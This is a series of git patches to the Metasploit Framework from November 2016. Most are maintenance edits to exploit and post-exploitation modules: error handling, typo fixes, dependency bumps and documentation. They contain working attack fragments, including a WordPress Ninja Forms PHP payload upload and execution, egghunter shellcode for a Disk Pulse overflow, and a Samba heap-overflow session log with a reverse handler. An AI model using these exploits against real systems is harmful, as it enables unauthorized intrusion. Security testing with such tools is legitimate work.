by Ninja Forms. + nonce = fetch_ninja_form_nonce + + print_status("Preparing payload...") + payload_name = "#{Rex::Text.rand_text_alpha(10)}.php" + payload_url = normalize_uri(wordpress_url_wp_content, 'uploads', "nftmp-#{payload_name.downcase}") + data = generate_mime_message(payload_name, nonce) + + print_status("Uploading payload to #{payload_url}") + upload_payload(data) + + print_status("Executing the payload...") + execute_payload(payload_name, payload_url) + + # Once the payload has been executed, we can disable the preview functionality again. + disable_v3_functionality + end +end diff --git a/modules/exploits/unix/webapp/wp_ninja_forms_unauthenticated_file_upload.rb b/modules/exploits/unix/webapp/wp_ninja_forms_unauthenticated_file_upload.rb index 51af361a24..bf5d867292 100644 --- a/modules/exploits/unix/webapp/wp_ninja_forms_unauthenticated_file_upload.rb +++ b/modules/exploits/unix/webapp/wp_ninja_forms_unauthenticated_file_upload.rb @@ -10,6 +10,9 @@ class MetasploitModule < Msf::Exploit::Remote include Msf::Exploit::FileDropper include Msf::Exploit::Remote::HTTP::Wordpress + include Msf::Module::Deprecated + + deprecated(Date.new(2016, 12, 10), 'exploit/multi/http/wp_ninja_forms_unauthenticated_file_upload') def initialize(info = {}) super(update_info( From c0e839dfd97b09f8ce1b5a3f17cf967887769e68 Mon Sep 17 00:00:00 2001 From: dana-at-cp Date: Fri, 11 Nov 2016 06:12:47 -0800 Subject: [PATCH 112/157] Fixes keytool bug in APK inject code --- lib/msf/core/payload/apk.rb | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/lib/msf/core/payload/apk.rb b/lib/msf/core/payload/apk.rb index ca7f7676a6..1abf4840bd 100644 --- a/lib/msf/core/payload/apk.rb +++ b/lib/msf/core/payload/apk.rb @@ -98,7 +98,7 @@ class Msf::Payload::Apk def parse_orig_cert_data(orig_apkfile) orig_cert_data = Array[] - keytool_output = run_cmd("keytool -printcert -jarfile #{orig_apkfile}") + keytool_output = run_cmd("keytool -J-Duser.language=en -printcert -jarfile #{orig_apkfile}") owner_line = keytool_output.match(/^Owner:.+/)[0] orig_cert_dname = owner_line.gsub(/^.*:/, '').strip orig_cert_data.push("#{orig_cert_dname}") From 415439eda89ab63a9c4e15df71a0e93f4932cbbb Mon Sep 17 00:00:00 2001 From: David Maloney Date: Fri, 11 Nov 2016 10:01:22 -0600 Subject: [PATCH 113/157] the template ref in this module was missed when we cleaned up all the other powershell template refs we missed the one in this module which seems to e replicating large ammounts of library code 7533 --- modules/post/multi/manage/shell_to_meterpreter.rb | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/modules/post/multi/manage/shell_to_meterpreter.rb b/modules/post/multi/manage/shell_to_meterpreter.rb index ab68020d4a..6ea0fe0bbd 100644 --- a/modules/post/multi/manage/shell_to_meterpreter.rb +++ b/modules/post/multi/manage/shell_to_meterpreter.rb @@ -141,7 +141,7 @@ class MetasploitModule < Msf::Post case platform when 'win' if session.type == 'powershell' - template_path = File.join(Msf::Config.data_directory, 'templates', 'scripts') + template_path = Rex::Powershell::Templates::TEMPLATE_DIR psh_payload = case datastore['Powershell::method'] when 'net' Rex::Powershell::Payload.to_win32pe_psh_net(template_path, payload_data) From 69a4a327b88733efa2a24e61f248681c2d24254c Mon Sep 17 00:00:00 2001 From: Dylan Davis Date: Fri, 11 Nov 2016 10:15:36 -0700 Subject: [PATCH 114/157] Add begin-rescue blocks that prevent individual hosts from bailing out a threaded multi-host execution --- modules/auxiliary/admin/smb/psexec_command.rb | 11 ++++++++++- 1 file changed, 10 insertions(+), 1 deletion(-) diff --git a/modules/auxiliary/admin/smb/psexec_command.rb b/modules/auxiliary/admin/smb/psexec_command.rb index 5747494726..1035295c44 100644 --- a/modules/auxiliary/admin/smb/psexec_command.rb +++ b/modules/auxiliary/admin/smb/psexec_command.rb @@ -136,7 +136,11 @@ class MetasploitModule < Msf::Auxiliary # check if our process is done using these files def exclusive_access(*files) + begin simple.connect("\\\\#{@ip}\\#{@smbshare}") + rescue + return false + end files.each do |file| begin print_status("checking if the file is unlocked") @@ -154,7 +158,12 @@ class MetasploitModule < Msf::Auxiliary # Removes files created during execution. def cleanup_after(*files) - simple.connect("\\\\#{@ip}\\#{@smbshare}") + begin + simple.connect("\\\\#{@ip}\\#{@smbshare}") + rescue + print_error("Unable to connect for cleanup. Maybe you'll need to manually remove #{left.join(", ")} from the target.") + return + end print_status("Executing cleanup...") files.each do |file| begin From fddc2c221fa1232e2c92fe130ea9d601e18a2b47 Mon Sep 17 00:00:00 2001 From: Dylan Davis Date: Fri, 11 Nov 2016 10:24:05 -0700 Subject: [PATCH 115/157] Catch the specific exception. Include the error code in the error message. --- modules/auxiliary/admin/smb/psexec_command.rb | 13 +++++++------ 1 file changed, 7 insertions(+), 6 deletions(-) diff --git a/modules/auxiliary/admin/smb/psexec_command.rb b/modules/auxiliary/admin/smb/psexec_command.rb index 1035295c44..19b54a1824 100644 --- a/modules/auxiliary/admin/smb/psexec_command.rb +++ b/modules/auxiliary/admin/smb/psexec_command.rb @@ -138,10 +138,11 @@ class MetasploitModule < Msf::Auxiliary def exclusive_access(*files) begin simple.connect("\\\\#{@ip}\\#{@smbshare}") - rescue + rescue Rex::Proto::SMB::Exceptions::ErrorCode => accesserror + print_status("Unable to get handle: #{accesserror}") return false end - files.each do |file| + files.each do |file| begin print_status("checking if the file is unlocked") fd = smb_open(file, 'rwo') @@ -154,14 +155,14 @@ class MetasploitModule < Msf::Auxiliary end return true end - - + + # Removes files created during execution. def cleanup_after(*files) begin simple.connect("\\\\#{@ip}\\#{@smbshare}") - rescue - print_error("Unable to connect for cleanup. Maybe you'll need to manually remove #{left.join(", ")} from the target.") + rescue Rex::Proto::SMB::Exceptions::ErrorCode => accesserror + print_error("Unable to connect for cleanup: #{accesserror}. Maybe you'll need to manually remove #{left.join(", ")} from the target.") return end print_status("Executing cleanup...") From db32c5fdccea04728dd31cdac749ff5b9ecb5273 Mon Sep 17 00:00:00 2001 From: Jenna Magius Date: Fri, 11 Nov 2016 10:28:37 -0700 Subject: [PATCH 116/157] msftidy whitespace fixes --- modules/auxiliary/admin/smb/psexec_command.rb | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/modules/auxiliary/admin/smb/psexec_command.rb b/modules/auxiliary/admin/smb/psexec_command.rb index 19b54a1824..56e045687b 100644 --- a/modules/auxiliary/admin/smb/psexec_command.rb +++ b/modules/auxiliary/admin/smb/psexec_command.rb @@ -155,8 +155,8 @@ class MetasploitModule < Msf::Auxiliary end return true end - - + + # Removes files created during execution. def cleanup_after(*files) begin From f116ad2c59fafb0a21554c5014601e5af26aca04 Mon Sep 17 00:00:00 2001 From: Metasploit Date: Fri, 11 Nov 2016 10:02:14 -0800 Subject: [PATCH 117/157] Bump version of framework to 4.12.42 --- Gemfile.lock | 6 +++--- lib/metasploit/framework/version.rb | 2 +- 2 files changed, 4 insertions(+), 4 deletions(-) diff --git a/Gemfile.lock b/Gemfile.lock index 37bd4960ba..bec2a6258e 100644 --- a/Gemfile.lock +++ b/Gemfile.lock @@ -216,7 +216,7 @@ GEM method_source (~> 0.8.1) slop (~> 3.4) public_suffix (2.0.4) - rack (1.6.4) + rack (1.6.5) rack-test (0.6.3) rack (>= 1.0) rails-deprecated_sanitizer (1.0.3) @@ -234,10 +234,10 @@ GEM thor (>= 0.18.1, < 2.0) rake (11.3.0) rb-readline-r7 (0.5.2.0) - recog (2.0.23) + recog (2.0.24) nokogiri redcarpet (3.3.4) - rex-arch (0.1.1) + rex-arch (0.1.2) rex-text rex-bin_tools (0.1.1) metasm diff --git a/lib/metasploit/framework/version.rb b/lib/metasploit/framework/version.rb index 5d3867c728..486177de5c 100644 --- a/lib/metasploit/framework/version.rb +++ b/lib/metasploit/framework/version.rb @@ -30,7 +30,7 @@ module Metasploit end end - VERSION = "4.12.41" + VERSION = "4.12.42" MAJOR, MINOR, PATCH = VERSION.split('.').map { |x| x.to_i } PRERELEASE = 'dev' HASH = get_hash From 3ae021fabab53659ac118757fc2b3e9423ac0bc1 Mon Sep 17 00:00:00 2001 From: dmohanty-r7 Date: Fri, 11 Nov 2016 13:50:24 -0600 Subject: [PATCH 118/157] Update aws gather key docs --- documentation/modules/post/multi/gather/aws_keys.md | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/documentation/modules/post/multi/gather/aws_keys.md b/documentation/modules/post/multi/gather/aws_keys.md index ec3cd8f105..4ebcaf5c0b 100644 --- a/documentation/modules/post/multi/gather/aws_keys.md +++ b/documentation/modules/post/multi/gather/aws_keys.md @@ -5,7 +5,7 @@ ## Verification Steps 1. Get a `shell` or `meterpreter` session on some host. - 2. Do: ```use post/multi/gather/aws_keys.rb``` + 2. Do: ```use post/multi/gather/aws_keys``` 3. Do: ```set SESSION [SESSION_ID]```, replacing ```[SESSION_ID]``` with the session number you wish to run this one. 4. Do: ```run``` 5. If the system has readable configuration files containing AWS key material, they will be printed out. From 8e3888f20c309e4976f4de0a1413011c05f509dc Mon Sep 17 00:00:00 2001 From: David Maloney Date: Fri, 11 Nov 2016 10:01:22 -0600 Subject: [PATCH 119/157] the template ref in this module was missed when we cleaned up all the other powershell template refs we missed the one in this module which seems to e replicating large ammounts of library code 7533 --- modules/post/multi/manage/shell_to_meterpreter.rb | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/modules/post/multi/manage/shell_to_meterpreter.rb b/modules/post/multi/manage/shell_to_meterpreter.rb index ab68020d4a..6ea0fe0bbd 100644 --- a/modules/post/multi/manage/shell_to_meterpreter.rb +++ b/modules/post/multi/manage/shell_to_meterpreter.rb @@ -141,7 +141,7 @@ class MetasploitModule < Msf::Post case platform when 'win' if session.type == 'powershell' - template_path = File.join(Msf::Config.data_directory, 'templates', 'scripts') + template_path = Rex::Powershell::Templates::TEMPLATE_DIR psh_payload = case datastore['Powershell::method'] when 'net' Rex::Powershell::Payload.to_win32pe_psh_net(template_path, payload_data) From 9eb9d612ca98686f13dce6c1ce3feab037079dbf Mon Sep 17 00:00:00 2001 From: Pearce Barry Date: Fri, 11 Nov 2016 16:54:16 -0600 Subject: [PATCH 120/157] Minor typo fixups. --- modules/exploits/linux/local/bpf_priv_esc.rb | 6 +++--- 1 file changed, 3 insertions(+), 3 deletions(-) diff --git a/modules/exploits/linux/local/bpf_priv_esc.rb b/modules/exploits/linux/local/bpf_priv_esc.rb index 6d7d829967..b0829d609c 100644 --- a/modules/exploits/linux/local/bpf_priv_esc.rb +++ b/modules/exploits/linux/local/bpf_priv_esc.rb @@ -63,10 +63,10 @@ class MetasploitModule < Msf::Exploit::Local def check_config_bpf_syscall?() output = cmd_exec('grep CONFIG_BPF_SYSCALL /boot/config-`uname -r`') if output == 'CONFIG_BPF_SYSCALL=y' - vprint_good('CONFIG_BPF_SYSCAL is set to yes') + vprint_good('CONFIG_BPF_SYSCALL is set to yes') return true else - print_error('CONFIG_BPF_SYSCAL is NOT set to yes') + print_error('CONFIG_BPF_SYSCALL is NOT set to yes') return false end end @@ -95,7 +95,7 @@ class MetasploitModule < Msf::Exploit::Local def mount_point_exists?() if directory?('/tmp/fuse_mount') - print_error('/tmp/fuse_mount should be unmounted and deleted. Exploittion will fail.') + print_error('/tmp/fuse_mount should be unmounted and deleted. Exploitation will fail.') return false else vprint_good('/tmp/fuse_mount doesn\'t exist') From a8a09261e118506d28ecc28b9f24763c961682ac Mon Sep 17 00:00:00 2001 From: Dylan Davis Date: Fri, 11 Nov 2016 21:49:06 -0700 Subject: [PATCH 121/157] Use files for rescue error, because left is not available --- modules/auxiliary/admin/smb/psexec_command.rb | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/modules/auxiliary/admin/smb/psexec_command.rb b/modules/auxiliary/admin/smb/psexec_command.rb index 56e045687b..5648158c9d 100644 --- a/modules/auxiliary/admin/smb/psexec_command.rb +++ b/modules/auxiliary/admin/smb/psexec_command.rb @@ -162,7 +162,7 @@ class MetasploitModule < Msf::Auxiliary begin simple.connect("\\\\#{@ip}\\#{@smbshare}") rescue Rex::Proto::SMB::Exceptions::ErrorCode => accesserror - print_error("Unable to connect for cleanup: #{accesserror}. Maybe you'll need to manually remove #{left.join(", ")} from the target.") + print_error("Unable to connect for cleanup: #{accesserror}. Maybe you'll need to manually remove #{files.join(", ")} from the target.") return end print_status("Executing cleanup...") From 4e9802786cf8cc53fe0e0414faf08526b379654a Mon Sep 17 00:00:00 2001 From: Chris Higgins Date: Sun, 13 Nov 2016 21:46:24 -0600 Subject: [PATCH 122/157] Removed spaces causing build to fail --- modules/exploits/windows/http/disk_pulse_enterprise_bof.rb | 6 +++--- 1 file changed, 3 insertions(+), 3 deletions(-) diff --git a/modules/exploits/windows/http/disk_pulse_enterprise_bof.rb b/modules/exploits/windows/http/disk_pulse_enterprise_bof.rb index f0bba414b9..ec8e271c6a 100644 --- a/modules/exploits/windows/http/disk_pulse_enterprise_bof.rb +++ b/modules/exploits/windows/http/disk_pulse_enterprise_bof.rb @@ -19,7 +19,7 @@ class MetasploitModule < Msf::Exploit::Remote This module exploits a stack buffer overflow in Disk Pulse Enterprise 9.0.34. If a malicious user sends a malicious HTTP login request, it is possible to execute a payload that would run under the Windows - NT AUTHORITY\SYSTEM account. Due to size constraints, this module + NT AUTHORITY\SYSTEM account. Due to size constraints, this module uses the Egghunter technique. }, 'License' => MSF_LICENSE, @@ -78,11 +78,11 @@ class MetasploitModule < Msf::Exploit::Remote :checksum => true, :eggtag => "w00t" } - + print_status("Generating exploit...") sploit = "username=admin" - sploit << "&password=aaaaa\r\n" + sploit << "&password=aaaaa\r\n" # Would like to use generate_egghunter(), looking for improvement egghunter = "\x66\x81\xca\xff\x0f\x42\x52\x6a\x02\x58\xcd\x2e\x3c\x05\x5a\x74" From 908713ce6810da7903c4859a1be4259f58691697 Mon Sep 17 00:00:00 2001 From: Pedro Ribeiro Date: Mon, 14 Nov 2016 08:35:34 +0000 Subject: [PATCH 123/157] remove whitespace at end of module name --- modules/exploits/linux/http/dlink_hnap_login_bof.rb | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/modules/exploits/linux/http/dlink_hnap_login_bof.rb b/modules/exploits/linux/http/dlink_hnap_login_bof.rb index 217293c4d6..8495659ee5 100644 --- a/modules/exploits/linux/http/dlink_hnap_login_bof.rb +++ b/modules/exploits/linux/http/dlink_hnap_login_bof.rb @@ -23,7 +23,7 @@ class MetasploitModule < Msf::Exploit::Remote def initialize(info = {}) super(update_info(info, - 'Name' => 'Dlink DIR Routers Unauthenticated HNAP Login Stack Buffer Overflow ', + 'Name' => 'Dlink DIR Routers Unauthenticated HNAP Login Stack Buffer Overflow', 'Description' => %q{ Several Dlink routers contain a pre-authentication stack buffer overflow vulnerability, which is exposed on the LAN interface on port 80. This vulnerability affects the HNAP SOAP protocol, From 422ff5733533638cbd81ae7dbc29e9c564cc8016 Mon Sep 17 00:00:00 2001 From: Brent Cook Date: Mon, 14 Nov 2016 02:53:18 -0600 Subject: [PATCH 124/157] update metasploit-payloads --- Gemfile.lock | 6 +++--- metasploit-framework.gemspec | 2 +- 2 files changed, 4 insertions(+), 4 deletions(-) diff --git a/Gemfile.lock b/Gemfile.lock index bec2a6258e..a369cbf624 100644 --- a/Gemfile.lock +++ b/Gemfile.lock @@ -1,7 +1,7 @@ PATH remote: . specs: - metasploit-framework (4.12.41) + metasploit-framework (4.12.42) actionpack (~> 4.2.6) activerecord (~> 4.2.6) activesupport (~> 4.2.6) @@ -14,7 +14,7 @@ PATH metasploit-concern metasploit-credential metasploit-model - metasploit-payloads (= 1.1.26) + metasploit-payloads (= 1.1.28) metasploit_data_models metasploit_payloads-mettle (= 0.0.8) msgpack @@ -169,7 +169,7 @@ GEM activemodel (~> 4.2.6) activesupport (~> 4.2.6) railties (~> 4.2.6) - metasploit-payloads (1.1.26) + metasploit-payloads (1.1.28) metasploit_data_models (2.0.6) activerecord (~> 4.2.6) activesupport (~> 4.2.6) diff --git a/metasploit-framework.gemspec b/metasploit-framework.gemspec index eb3e7b330b..9fc4a5f2a0 100644 --- a/metasploit-framework.gemspec +++ b/metasploit-framework.gemspec @@ -65,7 +65,7 @@ Gem::Specification.new do |spec| # are needed when there's no database spec.add_runtime_dependency 'metasploit-model' # Needed for Meterpreter - spec.add_runtime_dependency 'metasploit-payloads', '1.1.26' + spec.add_runtime_dependency 'metasploit-payloads', '1.1.28' # Needed for the next-generation POSIX Meterpreter spec.add_runtime_dependency 'metasploit_payloads-mettle', '0.0.8' # Needed by msfgui and other rpc components From c458d662ed5ba5c3182e037010fdac14a8699937 Mon Sep 17 00:00:00 2001 From: Jeffrey Martin Date: Mon, 14 Nov 2016 12:26:40 -0600 Subject: [PATCH 125/157] report correct credential status as successful --- modules/exploits/linux/http/trendmicro_sps_exec.rb | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/modules/exploits/linux/http/trendmicro_sps_exec.rb b/modules/exploits/linux/http/trendmicro_sps_exec.rb index bc91d38ee2..d8c7797eee 100644 --- a/modules/exploits/linux/http/trendmicro_sps_exec.rb +++ b/modules/exploits/linux/http/trendmicro_sps_exec.rb @@ -188,7 +188,7 @@ class MetasploitModule < Msf::Exploit::Remote login_data = { core: create_credential(credential_data), - status: Metasploit::Model::Login::Status::UNTRIED, + status: Metasploit::Model::Login::Status::SUCCESSFUL, proof: opts[:proof] }.merge(service_data) From 203c8132c56236594b41dd2cae3e9de5a0faafe3 Mon Sep 17 00:00:00 2001 From: Brendan Date: Mon, 14 Nov 2016 14:16:36 -0600 Subject: [PATCH 126/157] Update the Gemfile to pull in the new rex-text Gem --- Gemfile.lock | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/Gemfile.lock b/Gemfile.lock index a369cbf624..a5943ffce2 100644 --- a/Gemfile.lock +++ b/Gemfile.lock @@ -279,7 +279,7 @@ GEM rex-socket rex-text rex-struct2 (0.1.0) - rex-text (0.2.4) + rex-text (0.2.5) rex-zip (0.1.0) rex-text rkelly-remix (0.0.6) From fa9f2b340e28d331fdf8c297a301b3b4f215a6e9 Mon Sep 17 00:00:00 2001 From: wchen-r7 Date: Mon, 14 Nov 2016 15:52:02 -0600 Subject: [PATCH 127/157] def setup isn't needed --- modules/exploits/windows/ftp/winaxe_server_ready.rb | 4 ---- 1 file changed, 4 deletions(-) diff --git a/modules/exploits/windows/ftp/winaxe_server_ready.rb b/modules/exploits/windows/ftp/winaxe_server_ready.rb index 145de958cd..91f7c27187 100644 --- a/modules/exploits/windows/ftp/winaxe_server_ready.rb +++ b/modules/exploits/windows/ftp/winaxe_server_ready.rb @@ -51,10 +51,6 @@ class MetasploitModule < Msf::Exploit::Remote 'DefaultTarget' => 0)) end - def setup - super - end - def on_client_unknown_command(c, _cmd, _arg) c.put("200 OK\r\n") end From fafc7494475385e2896a116c0099d8aed4e138ad Mon Sep 17 00:00:00 2001 From: Brent Cook Date: Mon, 14 Nov 2016 16:51:38 -0600 Subject: [PATCH 128/157] update metasploit payloads --- Gemfile.lock | 4 ++-- metasploit-framework.gemspec | 2 +- 2 files changed, 3 insertions(+), 3 deletions(-) diff --git a/Gemfile.lock b/Gemfile.lock index a369cbf624..7d2c4c3e99 100644 --- a/Gemfile.lock +++ b/Gemfile.lock @@ -14,7 +14,7 @@ PATH metasploit-concern metasploit-credential metasploit-model - metasploit-payloads (= 1.1.28) + metasploit-payloads (= 1.1.29) metasploit_data_models metasploit_payloads-mettle (= 0.0.8) msgpack @@ -169,7 +169,7 @@ GEM activemodel (~> 4.2.6) activesupport (~> 4.2.6) railties (~> 4.2.6) - metasploit-payloads (1.1.28) + metasploit-payloads (1.1.29) metasploit_data_models (2.0.6) activerecord (~> 4.2.6) activesupport (~> 4.2.6) diff --git a/metasploit-framework.gemspec b/metasploit-framework.gemspec index 9fc4a5f2a0..901053166c 100644 --- a/metasploit-framework.gemspec +++ b/metasploit-framework.gemspec @@ -65,7 +65,7 @@ Gem::Specification.new do |spec| # are needed when there's no database spec.add_runtime_dependency 'metasploit-model' # Needed for Meterpreter - spec.add_runtime_dependency 'metasploit-payloads', '1.1.28' + spec.add_runtime_dependency 'metasploit-payloads', '1.1.29' # Needed for the next-generation POSIX Meterpreter spec.add_runtime_dependency 'metasploit_payloads-mettle', '0.0.8' # Needed by msfgui and other rpc components From 312f33afa324e9ebe9ce9a20cdcacfffbc3ede39 Mon Sep 17 00:00:00 2001 From: Brent Cook Date: Tue, 15 Nov 2016 07:36:54 -0600 Subject: [PATCH 129/157] minor formatting updates --- .../exploit/linux/samba/lsa_transnames_heap.md | 15 +++++++++------ 1 file changed, 9 insertions(+), 6 deletions(-) diff --git a/documentation/modules/exploit/linux/samba/lsa_transnames_heap.md b/documentation/modules/exploit/linux/samba/lsa_transnames_heap.md index 489ee1d78e..09ba3d7f25 100644 --- a/documentation/modules/exploit/linux/samba/lsa_transnames_heap.md +++ b/documentation/modules/exploit/linux/samba/lsa_transnames_heap.md @@ -1,6 +1,7 @@ ## Vulnerable Application - Samba 3.0.0 through 3.0.25rc3 are vulnerable to mulitple heap overflows. This module targets a heap overflow in the LsarLookupSids RPC call (CVE-2007-2446), causing an overflow in the function lsa\_io\_trans_name(). + Samba 3.0.0 through 3.0.25rc3 are vulnerable to mulitple heap overflows. This module targets a heap overflow in the LsarLookupSids RPC call (CVE-2007-2446), causing an overflow in the function lsa\_io\_trans_name(). + The exploit uses the heap overflow to overwrite a function pointer contained in the metadata of the TALLOC memory allocator, a technique which only works on Samba versions 3.0.21-3.0.24. ## Verification Steps @@ -19,16 +20,18 @@ ### MIPS nop generator The exploit uses a heap overflow to put a large nop sled in memory to decrease the accuracy needed in the initial redirection of code flow. A nop sled is a large section of contiguous instructions which do nothing. When code flow is redirected to a nop sled it will continue executing the effectless nops. At the end of the sled the true payload is added and execution will eventually hit this code. + A nop generator module was created for MIPS by creating a stream of random instructions which create no side-effects e.g. `sll $2, $2, 0` - + ### Heap address bruteforce - The exploit uses a brute force approach to minimise problems with unpredictability in heap layout. The exploit itself is run multiple times, each time targetting a different point in the heap with the change of execution flow. If all goes correctly then the nop sled will be hit and code execution will follow. If the nop sled is missed then the Samba process is likely to crash, which is generally not a problem as a new instance is forked for each incoming connection. In the event of a crash a new heap address is chosen and exploitation is attempted again. - When porting the exploit to a new system the approximate heap layout must be known in order to suitably attempt exploitation across all of the possible heap locations. As the MIPS port targetted a specific router the heap layout was determined by examining the ranges identified in _/proc//maps_ + The exploit uses a brute force approach to minimise problems with unpredictability in heap layout. The exploit itself is run multiple times, each time targetting a different point in the heap with the change of execution flow. If all goes correctly, the nop sled will be hit and code execution will follow. If the nop sled is missed, the Samba process is likely to crash, which is generally not a problem as a new instance is forked for each incoming connection. In the event of a crash, a new heap address is chosen and exploitation is attempted again. + + When porting the exploit to a new system, the approximate heap layout must be known in order to suitably attempt exploitation across all of the possible heap locations. As the MIPS port targetted a specific router, the heap layout was determined by examining the ranges identified in _/proc//maps_ ## Scenarios - msf > use exploit/linux/samba/lsa\_transnames_heap + msf > use exploit/linux/samba/lsa\_transnames_heap msf exploit(lsa\_transnames_heap) > set target 7 target => 7 msf exploit(lsa\_transnames_heap) > set rhost 192.168.1.1 @@ -53,7 +56,7 @@ msf exploit(lsa\_transnames_heap) > exploit - [*] Started reverse TCP handler on 192.168.1.3:4444 + [*] Started reverse TCP handler on 192.168.1.3:4444 [*] 192.168.1.1:445 - Creating nop sled.... [*] 192.168.1.1:445 - Trying to exploit Samba with address 0x55900000... [*] 192.168.1.1:445 - Connecting to the SMB service... From b6f097c03520502aea6c9c8153a0b95226b431a0 Mon Sep 17 00:00:00 2001 From: Brent Cook Date: Tue, 15 Nov 2016 08:08:20 -0600 Subject: [PATCH 130/157] Correct a few misspellings --- .../modules/exploit/linux/samba/lsa_transnames_heap.md | 10 +++++----- 1 file changed, 5 insertions(+), 5 deletions(-) diff --git a/documentation/modules/exploit/linux/samba/lsa_transnames_heap.md b/documentation/modules/exploit/linux/samba/lsa_transnames_heap.md index 09ba3d7f25..477e7f57c2 100644 --- a/documentation/modules/exploit/linux/samba/lsa_transnames_heap.md +++ b/documentation/modules/exploit/linux/samba/lsa_transnames_heap.md @@ -1,6 +1,6 @@ ## Vulnerable Application - Samba 3.0.0 through 3.0.25rc3 are vulnerable to mulitple heap overflows. This module targets a heap overflow in the LsarLookupSids RPC call (CVE-2007-2446), causing an overflow in the function lsa\_io\_trans_name(). + Samba 3.0.0 through 3.0.25rc3 are vulnerable to multiple heap overflows. This module targets a heap overflow in the LsarLookupSids RPC call (CVE-2007-2446), causing an overflow in the function lsa\_io\_trans_name(). The exploit uses the heap overflow to overwrite a function pointer contained in the metadata of the TALLOC memory allocator, a technique which only works on Samba versions 3.0.21-3.0.24. @@ -19,15 +19,15 @@ ### MIPS nop generator - The exploit uses a heap overflow to put a large nop sled in memory to decrease the accuracy needed in the initial redirection of code flow. A nop sled is a large section of contiguous instructions which do nothing. When code flow is redirected to a nop sled it will continue executing the effectless nops. At the end of the sled the true payload is added and execution will eventually hit this code. + The exploit uses a heap overflow to put a large nop sled in memory to decrease the accuracy needed in the initial redirection of code flow. A nop sled is a large section of contiguous instructions which do nothing. When code flow is redirected to a nop sled it will continue executing the effect-less nops. At the end of the sled the true payload is added and execution will eventually hit this code. A nop generator module was created for MIPS by creating a stream of random instructions which create no side-effects e.g. `sll $2, $2, 0` -### Heap address bruteforce +### Heap address brute force - The exploit uses a brute force approach to minimise problems with unpredictability in heap layout. The exploit itself is run multiple times, each time targetting a different point in the heap with the change of execution flow. If all goes correctly, the nop sled will be hit and code execution will follow. If the nop sled is missed, the Samba process is likely to crash, which is generally not a problem as a new instance is forked for each incoming connection. In the event of a crash, a new heap address is chosen and exploitation is attempted again. + The exploit uses a brute force approach to minimize problems with unpredictability in heap layout. The exploit itself is run multiple times, each time targeting a different point in the heap with the change of execution flow. If all goes correctly, the nop sled will be hit and code execution will follow. If the nop sled is missed, the Samba process is likely to crash, which is generally not a problem as a new instance is forked for each incoming connection. In the event of a crash, a new heap address is chosen and exploitation is attempted again. - When porting the exploit to a new system, the approximate heap layout must be known in order to suitably attempt exploitation across all of the possible heap locations. As the MIPS port targetted a specific router, the heap layout was determined by examining the ranges identified in _/proc//maps_ + When porting the exploit to a new system, the approximate heap layout must be known in order to suitably attempt exploitation across all of the possible heap locations. As the MIPS port targeted a specific router, the heap layout was determined by examining the ranges identified in _/proc//maps_ ## Scenarios From e5d3289c18c91f992a27f5bb0964b1a702dfd13d Mon Sep 17 00:00:00 2001 From: wchen-r7 Date: Tue, 15 Nov 2016 12:14:58 -0600 Subject: [PATCH 131/157] Fix name for exception --- modules/auxiliary/admin/smb/psexec_command.rb | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/modules/auxiliary/admin/smb/psexec_command.rb b/modules/auxiliary/admin/smb/psexec_command.rb index 5648158c9d..593db5af84 100644 --- a/modules/auxiliary/admin/smb/psexec_command.rb +++ b/modules/auxiliary/admin/smb/psexec_command.rb @@ -99,9 +99,9 @@ class MetasploitModule < Msf::Auxiliary print_status("Executing the command...") begin return psexec(execute) - rescue Rex::Proto::DCERPC::Exceptions::Error, Rex::Proto::SMB::Exceptions::Error => exec_command_error + rescue Rex::Proto::DCERPC::Exceptions::Error, Rex::Proto::SMB::Exceptions::Error => e elog("#{e.class} #{e.message}\n#{e.backtrace * "\n"}", 'rex', LEV_3) - print_error("Unable to execute specified command: #{exec_command_error}") + print_error("Unable to execute specified command: #{e}") return false end end From 1deacad2be1523a1257d9094ea67b3ca7f4ca9bb Mon Sep 17 00:00:00 2001 From: Tod Beardsley Date: Tue, 15 Nov 2016 19:20:42 -0600 Subject: [PATCH 132/157] Add a print_bad alias for print_error Came up on Twitter, where Justin may have been trolling a little: https://twitter.com/jstnkndy/status/798671298302017536 We have a `print_good` method, but not a `print_bad`, which seems a little weird for Ruby -- opposite methods should be intuitive as Justin is implying. Anyway, I went with alias_method, thanks to the compelling argument at https://github.com/bbatsov/ruby-style-guide#alias-method ...since Metasploit is all about the singleton, and didn't want to risk some unexpected scoping thing. Also dang, we define the `print_` methods like fifty billion times! Really should fix that some day. --- lib/metasploit/framework/login_scanner/telnet.rb | 2 ++ lib/msf/core/auxiliary/auth_brute.rb | 2 ++ lib/msf/core/auxiliary/web/http.rb | 2 ++ lib/msf/core/module/ui/message.rb | 2 ++ lib/msf/core/module/ui/message/verbose.rb | 2 ++ lib/msf/core/payload/apk.rb | 2 ++ lib/msf/core/plugin.rb | 2 ++ lib/rex/script/base.rb | 1 + lib/rex/ui/output.rb | 2 ++ lib/rex/ui/subscriber.rb | 2 ++ lib/rex/ui/text/bidirectional_pipe.rb | 2 ++ lib/rex/ui/text/dispatcher_shell.rb | 2 ++ lib/rex/ui/text/output.rb | 2 ++ lib/rex/ui/text/shell.rb | 2 ++ spec/lib/msf/core/post/windows/mssql_spec.rb | 3 ++- spec/lib/msf/core/post/windows/runas_spec.rb | 3 ++- spec/support/shared/contexts/msf/ui_driver.rb | 4 ++++ spec/support/shared/examples/msf/module/ui/message.rb | 3 ++- spec/support/shared/examples/msf/module/ui/message/verbose.rb | 3 ++- 19 files changed, 39 insertions(+), 4 deletions(-) diff --git a/lib/metasploit/framework/login_scanner/telnet.rb b/lib/metasploit/framework/login_scanner/telnet.rb index 812e631458..e7057b0022 100644 --- a/lib/metasploit/framework/login_scanner/telnet.rb +++ b/lib/metasploit/framework/login_scanner/telnet.rb @@ -133,6 +133,8 @@ module Metasploit @parent.print_error(message) end + alias_method :print_bad, :print_error + end end end diff --git a/lib/msf/core/auxiliary/auth_brute.rb b/lib/msf/core/auxiliary/auth_brute.rb index fb2738ddad..defde2af90 100644 --- a/lib/msf/core/auxiliary/auth_brute.rb +++ 